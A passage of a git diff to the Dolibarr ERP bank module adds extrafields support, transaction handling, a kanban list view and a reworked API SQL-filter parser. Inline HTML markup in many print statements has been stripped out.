      '; + return $return; + } } +require_once DOL_DOCUMENT_ROOT.'/core/class/commonobjectline.class.php'; + /** * Class to manage bank transaction lines */ -class AccountLine extends CommonObject +class AccountLine extends CommonObjectLine { /** * @var string Error code (or message) @@ -1904,7 +2026,6 @@ class AccountLine extends CommonObject $sql .= " b.fk_user_author, b.fk_user_rappro,"; $sql .= " b.fk_type, b.num_releve, b.num_chq, b.rappro, b.note,"; $sql .= " b.fk_bordereau, b.banque, b.emetteur,"; - //$sql.= " b.author"; // Is this used ? $sql .= " ba.ref as bank_account_ref, ba.label as bank_account_label"; $sql .= " FROM ".MAIN_DB_PREFIX."bank as b,"; $sql .= " ".MAIN_DB_PREFIX."bank_account as ba"; @@ -1926,18 +2047,18 @@ class AccountLine extends CommonObject $obj = $this->db->fetch_object($result); if ($obj) { $this->id = $obj->rowid; - $this->rowid = $obj->rowid; + $this->rowid = $obj->rowid; $this->ref = $obj->rowid; - $this->datec = $obj->datec; - $this->datev = $obj->datev; - $this->dateo = $obj->dateo; + $this->datec = $obj->datec; + $this->datev = $obj->datev; + $this->dateo = $obj->dateo; $this->amount = $obj->amount; - $this->label = $obj->label; - $this->note = $obj->note; + $this->label = $obj->label; + $this->note = $obj->note; - $this->fk_user_author = $obj->fk_user_author; - $this->fk_user_rappro = $obj->fk_user_rappro; + $this->fk_user_author = $obj->fk_user_author; + $this->fk_user_rappro = $obj->fk_user_rappro; $this->fk_type = $obj->fk_type; // Type of transaction $this->rappro = $obj->rappro; @@ -1948,9 +2069,13 @@ class AccountLine extends CommonObject $this->fk_bordereau = $obj->fk_bordereau; $this->fk_account = $obj->fk_account; - $this->bank_account_ref = $obj->bank_account_ref; + $this->bank_account_ref = $obj->bank_account_ref; $this->bank_account_label = $obj->bank_account_label; + // Retrieve all extrafield + // fetch optionals attributes and labels + $this->fetch_optionals(); + $ret = 1; } $this->db->free($result); @@ -1967,6 +2092,10 @@ class AccountLine extends CommonObject */ public function insert() { + $error = 0; + + $this->db->begin(); + $sql = "INSERT INTO ".MAIN_DB_PREFIX."bank ("; $sql .= "datec"; $sql .= ", dateo"; @@ -2002,15 +2131,26 @@ class AccountLine extends CommonObject dol_syslog(get_class($this)."::insert", LOG_DEBUG); $resql = $this->db->query($sql); - - if (!$resql) { + if ($resql) { + $this->id = $this->db->last_insert_id(MAIN_DB_PREFIX.'bank'); + // Actions on extra fields (by external module or standard code) + $result = $this->insertExtraFields(); + if ($result < 0) { + $error++; + } + } else { + $error++; $this->error = $this->db->lasterror(); - return -1; + dol_print_error($this->db); } - $this->id = $this->db->last_insert_id(MAIN_DB_PREFIX.'bank'); - - return $this->id; + if (!$error) { + $this->db->commit(); + return $this->id; + } else { + $this->db->rollback(); + return -1 * $error; + } } /** @@ -2064,6 +2204,12 @@ class AccountLine extends CommonObject $nbko++; } + $sql = "DELETE FROM ".MAIN_DB_PREFIX."bank_extrafields WHERE fk_object=".(int) $this->rowid; + $result = $this->db->query($sql); + if (!$result) { + $nbko++; + } + $sql = "DELETE FROM ".MAIN_DB_PREFIX."bank WHERE rowid=".(int) $this->rowid; dol_syslog(get_class($this)."::delete", LOG_DEBUG); $result = $this->db->query($sql); diff --git a/htdocs/compta/bank/class/api_bankaccounts.class.php b/htdocs/compta/bank/class/api_bankaccounts.class.php index c9886a176f0..b0cdd95d85a 100644 --- a/htdocs/compta/bank/class/api_bankaccounts.class.php +++ b/htdocs/compta/bank/class/api_bankaccounts.class.php @@ -82,11 +82,10 @@ class BankAccounts extends DolibarrApi // Add sql filters if ($sqlfilters) { $errormessage = ''; - if (!DolibarrApi::_checkFilters($sqlfilters, $errormessage)) { - throw new RestException(503, 'Error when validating parameter sqlfilters -> '.$errormessage); + $sql .= forgeSQLFromUniversalSearchCriteria($sqlfilters, $errormessage); + if ($errormessage) { + throw new RestException(400, 'Error when validating parameter sqlfilters -> '.$errormessage); } - $regexstring = '\(([^:\'\(\)]+:[^:\'\(\)]+:[^\(\)]+)\)'; - $sql .= " AND (".preg_replace_callback('/'.$regexstring.'/', 'DolibarrApi::_forge_criteria_callback', $sqlfilters).")"; } $sql .= $this->db->order($sortfield, $sortorder); @@ -122,8 +121,8 @@ class BankAccounts extends DolibarrApi /** * Get account by ID. * - * @param int $id ID of account - * @return array Account object + * @param int $id ID of account + * @return Object Object with cleaned properties * * @throws RestException */ @@ -313,9 +312,9 @@ class BankAccounts extends DolibarrApi /** * Update account * - * @param int $id ID of account - * @param array $request_data data - * @return int + * @param int $id ID of account + * @param array $request_data data + * @return Object Object with cleaned properties */ public function put($id, $request_data = null) { @@ -440,11 +439,10 @@ class BankAccounts extends DolibarrApi // Add sql filters if ($sqlfilters) { $errormessage = ''; - if (!DolibarrApi::_checkFilters($sqlfilters, $errormessage)) { - throw new RestException(503, 'Error when validating parameter sqlfilters -> '.$errormessage); + $sql .= forgeSQLFromUniversalSearchCriteria($sqlfilters, $errormessage); + if ($errormessage) { + throw new RestException(400, 'Error when validating parameter sqlfilters -> '.$errormessage); } - $regexstring = '\(([^:\'\(\)]+:[^:\'\(\)]+:[^\(\)]+)\)'; - $sql .= " AND (".preg_replace_callback('/'.$regexstring.'/', 'DolibarrApi::_forge_criteria_callback', $sqlfilters).")"; } $sql .= " ORDER BY rowid"; diff --git a/htdocs/compta/bank/class/bankcateg.class.php b/htdocs/compta/bank/class/bankcateg.class.php index 1795704d4ff..9ee8bb66a05 100644 --- a/htdocs/compta/bank/class/bankcateg.class.php +++ b/htdocs/compta/bank/class/bankcateg.class.php @@ -45,6 +45,26 @@ class BankCateg // extends CommonObject */ public $label; + /** + * @var DoliDB + */ + protected $db; + + /** + * @var string error + */ + public $error; + + /** + * @var array errors + */ + public $errors; + + /** + * @var array context + */ + public $context; + /** * Constructor @@ -80,7 +100,7 @@ class BankCateg // extends CommonObject $sql .= "label"; $sql .= ", entity"; $sql .= ") VALUES ("; - $sql .= " ".(!isset($this->label) ? 'NULL' : "'".$this->db->escape($this->label)."'").""; + $sql .= " ".(!isset($this->label) ? 'NULL' : "'".$this->db->escape($this->label)."'"); $sql .= ", ".((int) $conf->entity); $sql .= ")"; @@ -169,7 +189,7 @@ class BankCateg // extends CommonObject // Update request $sql = "UPDATE ".MAIN_DB_PREFIX."bank_categ SET"; - $sql .= " label=".(isset($this->label) ? "'".$this->db->escape($this->label)."'" : "null").""; + $sql .= " label=".(isset($this->label) ? "'".$this->db->escape($this->label)."'" : "null"); $sql .= " WHERE rowid=".((int) $this->id); $sql .= " AND entity = ".$conf->entity; @@ -278,7 +298,7 @@ class BankCateg // extends CommonObject // Load source object $object->fetch($fromid); $object->id = 0; - $object->statut = 0; + // $object->statut = 0; // Create clone $object->context['createfromclone'] = 'createfromclone'; diff --git a/htdocs/compta/bank/class/paymentvarious.class.php b/htdocs/compta/bank/class/paymentvarious.class.php index 3d07c280559..912f46e074a 100644 --- a/htdocs/compta/bank/class/paymentvarious.class.php +++ b/htdocs/compta/bank/class/paymentvarious.class.php @@ -126,6 +126,22 @@ class PaymentVarious extends CommonObject public $fk_user_modif; + /** + * @var int Type of bank account if the payment is on a bank account + */ + public $fk_type; + + /** + * @var int 1 if the payment is on a bank account line that is conciliated + */ + public $rappro; + + /** + * @var string ID of bank receipt + */ + public $bank_num_releve; + + /** * 'type' if the field format ('integer', 'integer:ObjectClass:PathToClass[:AddCreateButtonOrNot[:Filter]]', 'varchar(x)', 'double(24,8)', 'real', 'price', 'text', 'html', 'date', 'datetime', 'timestamp', 'duration', 'mail', 'phone', 'url', 'password') * Note: Filter can be a string like "(t.ref:like:'SO-%') or (t.date_creation:<:'20160101') or (t.nature:is:NULL)" @@ -251,7 +267,6 @@ class PaymentVarious extends CommonObject */ public function fetch($id, $user = null) { - global $langs; $sql = "SELECT"; $sql .= " v.rowid,"; $sql .= " v.tms,"; @@ -262,7 +277,7 @@ class PaymentVarious extends CommonObject $sql .= " v.fk_typepayment,"; $sql .= " v.num_payment,"; $sql .= " v.label,"; - $sql .= " v.note,"; + $sql .= " v.note as note_private,"; $sql .= " v.accountancy_code,"; $sql .= " v.subledger_account,"; $sql .= " v.fk_projet as fk_project,"; @@ -271,7 +286,8 @@ class PaymentVarious extends CommonObject $sql .= " v.fk_user_modif,"; $sql .= " b.fk_account,"; $sql .= " b.fk_type,"; - $sql .= " b.rappro"; + $sql .= " b.rappro,"; + $sql .= " b.num_releve as bank_num_releve"; $sql .= " FROM ".MAIN_DB_PREFIX."payment_various as v"; $sql .= " LEFT JOIN ".MAIN_DB_PREFIX."bank as b ON v.fk_bank = b.rowid"; $sql .= " WHERE v.rowid = ".((int) $id); @@ -292,7 +308,8 @@ class PaymentVarious extends CommonObject $this->type_payment = $obj->fk_typepayment; $this->num_payment = $obj->num_payment; $this->label = $obj->label; - $this->note = $obj->note; + $this->note = $obj->note_private; // For backward compatibility + $this->note_private = $obj->note_private; $this->subledger_account = $obj->subledger_account; $this->accountancy_code = $obj->accountancy_code; $this->fk_project = $obj->fk_project; @@ -302,6 +319,7 @@ class PaymentVarious extends CommonObject $this->fk_account = $obj->fk_account; $this->fk_type = $obj->fk_type; $this->rappro = $obj->rappro; + $this->bank_num_releve = $obj->bank_num_releve; } $this->db->free($resql); @@ -768,4 +786,78 @@ class PaymentVarious extends CommonObject } return 0; } + + /** + * Return clicable link of object (with eventually picto) + * + * @param string $option Where point the link (0=> main card, 1,2 => shipment, 'nolink'=>No link) + * @param array $arraydata Array of data + * @return string HTML Code for Kanban thumb. + */ + public function getKanbanView($option = '', $arraydata = null) + { + global $langs; + + $selected = (empty($arraydata['selected']) ? 0 : $arraydata['selected']); + + $return = '
      '; + $return .= '
      '; + $return .= ''; + $return .= img_picto('', $this->picto); + $return .= ''; + $return .= '
      '; + $return .= ''.(method_exists($this, 'getNomUrl') ? $this->getNomUrl(1) : $this->ref).''; + $return .= ''; + if (property_exists($this, 'fk_bank')) { + $return .= ' | '.$this->fk_bank.''; + } + if (property_exists($this, 'datep')) { + $return .= '
      '.$langs->trans("Date").' : '.dol_print_date($this->db->jdate($this->datep), 'day').''; + } + if (property_exists($this, 'type_payment') && !empty($this->type_payment)) { + $return .= '
      '.$langs->trans("Payment", $this->type_payment).' : '.$this->type_payment.''; + } + if (property_exists($this, 'accountancy_code')) { + $return .= '
      '.$langs->trans("Account").' : '.$this->accountancy_code.''; + } + if (property_exists($this, 'amount')) { + $return .= '
      '.$langs->trans("Debit").' : '.price($this->amount).''; + } + $return .= '
      '; + $return .= '
      '; + $return .= '
      '; + return $return; + } + + /** + * Return General accounting account with defined length (used for product and miscellaneous) + * + * @param string $account General accounting account + * @return string String with defined length + */ + public function lengthAccountg($account) + { + include_once DOL_DOCUMENT_ROOT.'/core/lib/accounting.lib.php'; + + /* + if (isModEnabled('accounting')) { + $accountingaccount = new AccountingAccount($db); + $accountingaccount->fetch('', $valuetoshow, 1); + }*/ + + return length_accountg($account); + } + + /** + * Return Auxiliary accounting account of thirdparties with defined length + * + * @param string $account Auxiliary accounting account + * @return string String with defined length + */ + public function lengthAccounta($account) + { + include_once DOL_DOCUMENT_ROOT.'/core/lib/accounting.lib.php'; + + return length_accounta($account); + } } diff --git a/htdocs/compta/bank/document.php b/htdocs/compta/bank/document.php index 595d627609b..0960b984c04 100644 --- a/htdocs/compta/bank/document.php +++ b/htdocs/compta/bank/document.php @@ -38,6 +38,9 @@ $ref = GETPOST('ref', 'alpha'); $action = GETPOST('action', 'aZ09'); $confirm = GETPOST('confirm', 'alpha'); +// Initialize technical object to manage hooks of page. Note that conf->hooks_modules contains array of hook context +$hookmanager->initHooks(array('bankaccountdocuments', 'globalcard')); + // Security check if ($user->socid) { $action = ''; diff --git a/htdocs/compta/bank/graph.php b/htdocs/compta/bank/graph.php index a3fd0b0b15b..490107e4893 100644 --- a/htdocs/compta/bank/graph.php +++ b/htdocs/compta/bank/graph.php @@ -35,6 +35,9 @@ $langs->loadLangs(array('banks', 'categories')); $WIDTH = DolGraph::getDefaultGraphSizeForStats('width', 768); $HEIGHT = DolGraph::getDefaultGraphSizeForStats('height', 200); +// Initialize technical object to manage hooks of page. Note that conf->hooks_modules contains array of hook context +$hookmanager->initHooks(array('bankstats', 'globalcard')); + // Security check if (GETPOST('account') || GETPOST('ref')) { $id = GETPOST('account') ? GETPOST('account') : GETPOST('ref'); @@ -455,7 +458,7 @@ if ($result < 0) { if ($day > ($max + 86400)) { $datas[$i] = ''; // Valeur speciale permettant de ne pas tracer le graph } else { - $datas[$i] = 0 + $solde + $subtotal; + $datas[$i] = $solde + $subtotal; } $datamin[$i] = $object->min_desired; $dataall[$i] = $object->min_allowed; diff --git a/htdocs/compta/bank/line.php b/htdocs/compta/bank/line.php index cb10a7310c6..fd75c9ceaee 100644 --- a/htdocs/compta/bank/line.php +++ b/htdocs/compta/bank/line.php @@ -35,6 +35,7 @@ require '../../main.inc.php'; require_once DOL_DOCUMENT_ROOT.'/compta/bank/class/account.class.php'; require_once DOL_DOCUMENT_ROOT.'/categories/class/categorie.class.php'; require_once DOL_DOCUMENT_ROOT.'/core/lib/payments.lib.php'; +require_once DOL_DOCUMENT_ROOT.'/core/class/extrafields.class.php'; // Load translation files required by the page $langs->loadLangs(array('banks', 'categories', 'compta', 'bills', 'other')); @@ -77,7 +78,9 @@ if (empty($user->rights->banque->lire) && empty($user->rights->banque->consolida } $hookmanager->initHooks(array('bankline')); - +$object = new AccountLine($db); +$extrafields = new ExtraFields($db); +$extrafields->fetch_name_optionals_label($object->element); /* * Actions @@ -125,18 +128,17 @@ if ($action == 'confirm_delete_categ' && $confirm == "yes" && $user->rights->ban if ($user->rights->banque->modifier && $action == "update") { $error = 0; - $acline = new AccountLine($db); - $result = $acline->fetch($rowid); + $result = $object->fetch($rowid); if ($result <= 0) { dol_syslog('Failed to read bank line with id '.$rowid, LOG_WARNING); // This happens due to old bug that has set fk_account to null. - $acline->id = $rowid; + $object->id = $rowid; } $acsource = new Account($db); $acsource->fetch($accountoldid); $actarget = new Account($db); - if (GETPOST('accountid', 'int') > 0 && !$acline->rappro && !$acline->getVentilExportCompta()) { // We ask to change bank account + if (GETPOST('accountid', 'int') > 0 && !$object->rappro && !$object->getVentilExportCompta()) { // We ask to change bank account $actarget->fetch(GETPOST('accountid', 'int')); } else { $actarget->fetch($accountoldid); @@ -173,7 +175,7 @@ if ($user->rights->banque->modifier && $action == "update") { $sql .= " emetteur='".$db->escape(GETPOST("emetteur"))."',"; } // Blocked when conciliated - if (!$acline->rappro) { + if (!$object->rappro) { if (GETPOSTISSET('label')) { $sql .= " label = '".$db->escape(GETPOST("label"))."',"; } @@ -188,7 +190,7 @@ if ($user->rights->banque->modifier && $action == "update") { } } $sql .= " fk_account = ".((int) $actarget->id); - $sql .= " WHERE rowid = ".((int) $acline->id); + $sql .= " WHERE rowid = ".((int) $object->id); $result = $db->query($sql); if (!$result) { @@ -214,6 +216,11 @@ if ($user->rights->banque->modifier && $action == "update") { } } + if (!$error) { + $extrafields->setOptionalsFromPost(null, $object, '@GETPOSTISSET'); + $object->insertExtraFields(); + } + if (!$error) { setEventMessages($langs->trans("RecordSaved"), null, 'mesgs'); $db->commit(); @@ -320,7 +327,7 @@ if ($result) { print dol_get_fiche_head($head, 'bankline', $langs->trans('LineRecord'), 0, 'accountline', 0); - $linkback = '
      '.$langs->trans("BackToList").''; + $linkback = ''.$langs->trans("BackToList").''; dol_banner_tab($bankline, 'rowid', $linkback); @@ -601,6 +608,13 @@ if ($result) { print "
      "; // Code to adjust value date with plus and less picto using an Ajax call instead of a full reload of page diff --git a/htdocs/compta/bank/list.php b/htdocs/compta/bank/list.php index 54cd0f2b58c..073e9de9a15 100644 --- a/htdocs/compta/bank/list.php +++ b/htdocs/compta/bank/list.php @@ -52,6 +52,7 @@ $show_files = GETPOST('show_files', 'int'); $confirm = GETPOST('confirm', 'alpha'); $toselect = GETPOST('toselect', 'array'); $contextpage = GETPOST('contextpage', 'aZ') ?GETPOST('contextpage', 'aZ') : 'bankaccountlist'; // To manage different context of search +$mode = GETPOST('mode', 'alpha'); $search_ref = GETPOST('search_ref', 'alpha'); $search_label = GETPOST('search_label', 'alpha'); @@ -59,7 +60,10 @@ $search_number = GETPOST('search_number', 'alpha'); $search_status = GETPOST('search_status') ?GETPOST('search_status', 'alpha') : 'opened'; // 'all' or ''='opened' $optioncss = GETPOST('optioncss', 'alpha'); -$search_category_list = GETPOST("search_category_".Categorie::TYPE_ACCOUNT."_list", "array"); +$search_category_list =""; +if (isModEnabled('categorie')) { + $search_category_list = GETPOST("search_category_".Categorie::TYPE_ACCOUNT."_list", "array"); +} $socid = 0; // Security check @@ -192,6 +196,9 @@ if (!empty($extrafields->attributes[$object->table_element]['label'])) { $parameters = array(); $reshook = $hookmanager->executeHooks('printFieldListSelect', $parameters, $object, $action); // Note that $action and $object may have been modified by hook $sql .= $hookmanager->resPrint; + +$sqlfields = $sql; // $sql fields to remove for count total + $sql .= " FROM ".MAIN_DB_PREFIX."bank_account as b"; if (!empty($extrafields->attributes[$object->table_element]['label']) && is_array($extrafields->attributes[$object->table_element]['label']) && count($extrafields->attributes[$object->table_element]['label'])) { $sql .= " LEFT JOIN ".MAIN_DB_PREFIX.$object->table_element."_extrafields as ef on (b.rowid = ef.fk_object)"; @@ -249,16 +256,31 @@ $parameters = array(); $reshook = $hookmanager->executeHooks('printFieldListWhere', $parameters, $object, $action); // Note that $action and $object may have been modified by hook $sql .= $hookmanager->resPrint; -$sql .= $db->order($sortfield, $sortorder); - // Count total nb of records $nbtotalofrecords = ''; if (empty($conf->global->MAIN_DISABLE_FULL_SCANLIST)) { - $result = $db->query($sql); - $nbtotalofrecords = $db->num_rows($result); + /* The fast and low memory method to get and count full list converts the sql into a sql count */ + $sqlforcount = preg_replace('/^'.preg_quote($sqlfields, '/').'/', 'SELECT COUNT(*) as nbtotalofrecords', $sql); + $sqlforcount = preg_replace('/GROUP BY .*$/', '', $sqlforcount); + $resql = $db->query($sqlforcount); + if ($resql) { + $objforcount = $db->fetch_object($resql); + $nbtotalofrecords = $objforcount->nbtotalofrecords; + } else { + dol_print_error($db); + } + + if (($page * $limit) > $nbtotalofrecords) { // if total resultset is smaller then paging size (filtering), goto and load page 0 + $page = 0; + $offset = 0; + } + $db->free($resql); } -$sql .= $db->plimit($limit + 1, $offset); +$sql .= $db->order($sortfield, $sortorder); +if ($limit) { + $sql .= $db->plimit($limit + 1, $offset); +} $resql = $db->query($sql); if ($resql) { @@ -284,6 +306,9 @@ llxHeader('', $title, $help_url); $arrayofselected = is_array($toselect) ? $toselect : array(); $param = ''; +if (!empty($mode)) { + $param .= '&mode='.urlencode($mode); +} if (!empty($contextpage) && $contextpage != $_SERVER["PHP_SELF"]) { $param .= '&contextpage='.urlencode($contextpage); } @@ -344,8 +369,13 @@ print ''; print ''; print ''; +print ''; -$newcardbutton = dolGetButtonTitle($langs->trans('NewFinancialAccount'), '', 'fa fa-plus-circle', 'card.php?action=create', '', $user->rights->banque->configurer); + +$newcardbutton = ''; +$newcardbutton .= dolGetButtonTitle($langs->trans('ViewList'), '', 'fa fa-bars imgforviewmode', $_SERVER["PHP_SELF"].'?mode=common'.preg_replace('/(&|\?)*mode=[^&]+/', '', $param), '', ((empty($mode) || $mode == 'common') ? 2 : 1), array('morecss'=>'reposition')); +$newcardbutton .= dolGetButtonTitle($langs->trans('ViewKanban'), '', 'fa fa-th-list imgforviewmode', $_SERVER["PHP_SELF"].'?mode=kanban'.preg_replace('/(&|\?)*mode=[^&]+/', '', $param), '', ($mode == 'kanban' ? 2 : 1), array('morecss'=>'reposition')); +$newcardbutton .= dolGetButtonTitle($langs->trans('NewFinancialAccount'), '', 'fa fa-plus-circle', 'card.php?action=create', '', $user->rights->banque->configurer); print_barre_liste($title, $page, $_SERVER["PHP_SELF"], $param, $sortfield, $sortorder, $massactionbutton, $num, $nbtotalofrecords, 'bank_account', 0, $newcardbutton, '', $limit, 1); @@ -384,7 +414,7 @@ if (!empty($moreforfilter)) { } $varpage = empty($contextpage) ? $_SERVER["PHP_SELF"] : $contextpage; -$selectedfields = $form->multiSelectArrayWithCheckbox('selectedfields', $arrayfields, $varpage); // This also change content of $arrayfields +$selectedfields = $form->multiSelectArrayWithCheckbox('selectedfields', $arrayfields, $varpage, getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')); // This also change content of $arrayfields $selectedfields .= (count($arrayofmassactions) ? $form->showCheckAddButtons('checkforselect', 1) : ''); print '
      '; // You can use div-table-responsive-no-min if you dont need reserved height for your table @@ -393,7 +423,13 @@ print ''; - +// Action column +if (getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print ''; +} // Ref if (!empty($arrayfields['b.ref']['checked'])) { print ''; } // Balance @@ -469,15 +505,20 @@ if (!empty($arrayfields['balance']['checked'])) { print ''; } // Action column -print ''; +if (!getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print ''; +} print ''."\n"; // Fields title label // -------------------------------------------------------------------- print ''; +if (getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print_liste_field_titre($selectedfields, $_SERVER["PHP_SELF"], "", '', '', '', $sortfield, $sortorder, 'center maxwidthsearch '); +} if (!empty($arrayfields['b.ref']['checked'])) { print_liste_field_titre($arrayfields['b.ref']['label'], $_SERVER["PHP_SELF"], 'b.ref', '', $param, '', $sortfield, $sortorder); } @@ -520,7 +561,9 @@ if (!empty($arrayfields['b.clos']['checked'])) { if (!empty($arrayfields['balance']['checked'])) { print_liste_field_titre($arrayfields['balance']['label'], $_SERVER["PHP_SELF"], '', '', $param, '', $sortfield, $sortorder, 'right '); } -print_liste_field_titre($selectedfields, $_SERVER["PHP_SELF"], "", '', '', '', $sortfield, $sortorder, 'center maxwidthsearch '); +if (!getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print_liste_field_titre($selectedfields, $_SERVER["PHP_SELF"], "", '', '', '', $sortfield, $sortorder, 'center maxwidthsearch '); +} print "\n"; @@ -531,6 +574,7 @@ $total = array(); $found = 0; $i = 0; $lastcurrencycode = ''; +$imaxinloop = ($limit ? min($num, $limit) : $num); foreach ($accounts as $key => $type) { if ($i >= $limit) { @@ -550,211 +594,236 @@ foreach ($accounts as $key => $type) { $lastcurrencycode = $objecttmp->currency_code; } - print ''; - - // Ref - if (!empty($arrayfields['b.ref']['checked'])) { - print ''; - if (!$i) { - $totalarray['nbfield']++; + if ($mode == 'kanban') { + if ($i == 0) { + print ''; - if (!$i) { - $totalarray['nbfield']++; + // Output Kanban + print $objecttmp->getKanbanView(''); + if ($i == ($imaxinloop - 1)) { + print ''; + print ''; } - } - - // Account type - if (!empty($arrayfields['accountype']['checked'])) { - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - } - - // Number - if (!empty($arrayfields['b.number']['checked'])) { - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - } - - // Account number - if (!empty($arrayfields['b.account_number']['checked'])) { - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - } - - // Accountancy journal - if (!empty($arrayfields['b.fk_accountancy_journal']['checked'])) { - print ''; + // Action column + if (getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print ''; } - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - } - - // Currency - if (!empty($arrayfields['b.currency_code']['checked'])) { - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - } - - // Transactions to reconcile - if (!empty($arrayfields['toreconcile']['checked'])) { - $conciliate = $objecttmp->canBeConciliated(); - - $labeltoshow = ''; - if ($conciliate == -2) { - $labeltoshow = $langs->trans("CashAccount"); - } elseif ($conciliate == -3) { - $labeltoshow = $langs->trans("Closed"); - } elseif (empty($objecttmp->rappro)) { - $labeltoshow = $langs->trans("ConciliationDisabled"); + // Ref + if (!empty($arrayfields['b.ref']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } } - print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + + // Account type + if (!empty($arrayfields['accountype']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + + // Number + if (!empty($arrayfields['b.number']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + + // Account number + if (!empty($arrayfields['b.account_number']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + + // Accountancy journal + if (!empty($arrayfields['b.fk_accountancy_journal']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + + // Currency + if (!empty($arrayfields['b.currency_code']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + + // Transactions to reconcile + if (!empty($arrayfields['toreconcile']['checked'])) { + $conciliate = $objecttmp->canBeConciliated(); + + $labeltoshow = ''; + if ($conciliate == -2) { + $labeltoshow = $langs->trans("CashAccount"); + } elseif ($conciliate == -3) { + $labeltoshow = $langs->trans("Closed"); + } elseif (empty($objecttmp->rappro)) { + $labeltoshow = $langs->trans("ConciliationDisabled"); + } + + print ''; + if (!$i) { + $totalarray['nbfield']++; + } } - print ''; + // Extra fields + if (is_array($objecttmp->array_options)) { + $obj = new stdClass(); + foreach ($objecttmp->array_options as $k => $v) { + $obj->$k = $v; + } + } + include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_print_fields.tpl.php'; + // Fields from hook + $parameters = array('arrayfields'=>$arrayfields, 'obj'=>$obj, 'i'=>$i, 'totalarray'=>&$totalarray); + $reshook = $hookmanager->executeHooks('printFieldListValue', $parameters, $objecttmp, $action); // Note that $action and $objecttmpect may have been modified by hook + print $hookmanager->resPrint; + // Date creation + if (!empty($arrayfields['b.datec']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + // Date modification + if (!empty($arrayfields['b.tms']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + + // Status + if (!empty($arrayfields['b.clos']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + + // Balance + if (!empty($arrayfields['balance']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + if (!$i) { + $totalarray['pos'][$totalarray['nbfield']] = 'balance'; + } + $totalarray['val']['balance'] += $solde; + } + + // Action column + if (!getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print ''; + } if (!$i) { $totalarray['nbfield']++; } - } - // Extra fields - if (is_array($objecttmp->array_options)) { - $obj = new stdClass(); - foreach ($objecttmp->array_options as $k => $v) { - $obj->$k = $v; + print ''; + + if (empty($total[$objecttmp->currency_code])) { + $total[$objecttmp->currency_code] = $solde; + } else { + $total[$objecttmp->currency_code] += $solde; } } - include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_print_fields.tpl.php'; - // Fields from hook - $parameters = array('arrayfields'=>$arrayfields, 'obj'=>$obj, 'i'=>$i, 'totalarray'=>&$totalarray); - $reshook = $hookmanager->executeHooks('printFieldListValue', $parameters, $objecttmp, $action); // Note that $action and $objecttmpect may have been modified by hook - print $hookmanager->resPrint; - // Date creation - if (!empty($arrayfields['b.datec']['checked'])) { - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - } - // Date modification - if (!empty($arrayfields['b.tms']['checked'])) { - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - } - - // Status - if (!empty($arrayfields['b.clos']['checked'])) { - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - } - - // Balance - if (!empty($arrayfields['balance']['checked'])) { - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - if (!$i) { - $totalarray['pos'][$totalarray['nbfield']] = 'balance'; - } - $totalarray['val']['balance'] += $solde; - } - - // Action column - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - - print ''; - - if (empty($total[$objecttmp->currency_code])) { - $total[$objecttmp->currency_code] = $solde; - } else { - $total[$objecttmp->currency_code] += $solde; - } - $i++; } diff --git a/htdocs/compta/bank/releve.php b/htdocs/compta/bank/releve.php index 8f5e7f29069..f7ac2576c2c 100644 --- a/htdocs/compta/bank/releve.php +++ b/htdocs/compta/bank/releve.php @@ -62,6 +62,9 @@ $newbankreceipt = GETPOST('newbankreceipt', 'alpha'); $rel = GETPOST("rel", 'alphanohtml'); $backtopage = GETPOST('backtopage', 'alpha'); +// Initialize technical object to manage hooks of page. Note that conf->hooks_modules contains array of hook context +$hookmanager->initHooks(array('bankaccountstatement', 'globalcard')); + // Security check $fieldid = (!empty($ref) ? $ref : $id); $fieldname = (!empty($ref) ? 'ref' : 'rowid'); @@ -106,7 +109,8 @@ if (!$sortfield) { $object = new Account($db); if ($id > 0 || !empty($ref)) { $result = $object->fetch($id, $ref); - $account = $object->id; // Force the search field on id of account + // if fetch from ref, $id may be empty + $id = $object->id; // Force the search field on id of account } diff --git a/htdocs/compta/bank/transfer.php b/htdocs/compta/bank/transfer.php index d896c3e6069..724e09554db 100644 --- a/htdocs/compta/bank/transfer.php +++ b/htdocs/compta/bank/transfer.php @@ -6,6 +6,8 @@ * Copyright (C) 2015 Jean-François Ferry * Copyright (C) 2015 Marcos García * Copyright (C) 2018-2021 Frédéric France + * Copyright (C) 2023 Maxime Nicolas + * Copyright (C) 2023 Benjamin GREMBI * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by @@ -35,7 +37,6 @@ require_once DOL_DOCUMENT_ROOT.'/compta/bank/class/account.class.php'; // Load translation files required by the page $langs->loadLangs(array('banks', 'categories', 'multicurrency')); - $socid = 0; if ($user->socid > 0) { $socid = $user->socid; @@ -45,10 +46,11 @@ if (!$user->rights->banque->transfer) { } $action = GETPOST('action', 'aZ09'); -$error = 0; $hookmanager->initHooks(array('banktransfer')); +$MAXLINES = 10; + /* * Actions @@ -60,123 +62,152 @@ if ($reshook < 0) { 